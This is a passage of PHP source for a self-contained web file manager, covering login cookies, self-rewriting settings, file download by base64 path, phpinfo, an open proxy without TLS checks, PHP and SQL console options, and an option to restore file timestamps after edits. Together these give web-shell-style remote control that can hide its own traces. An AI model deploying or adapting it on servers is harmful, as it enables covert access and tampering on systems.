if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
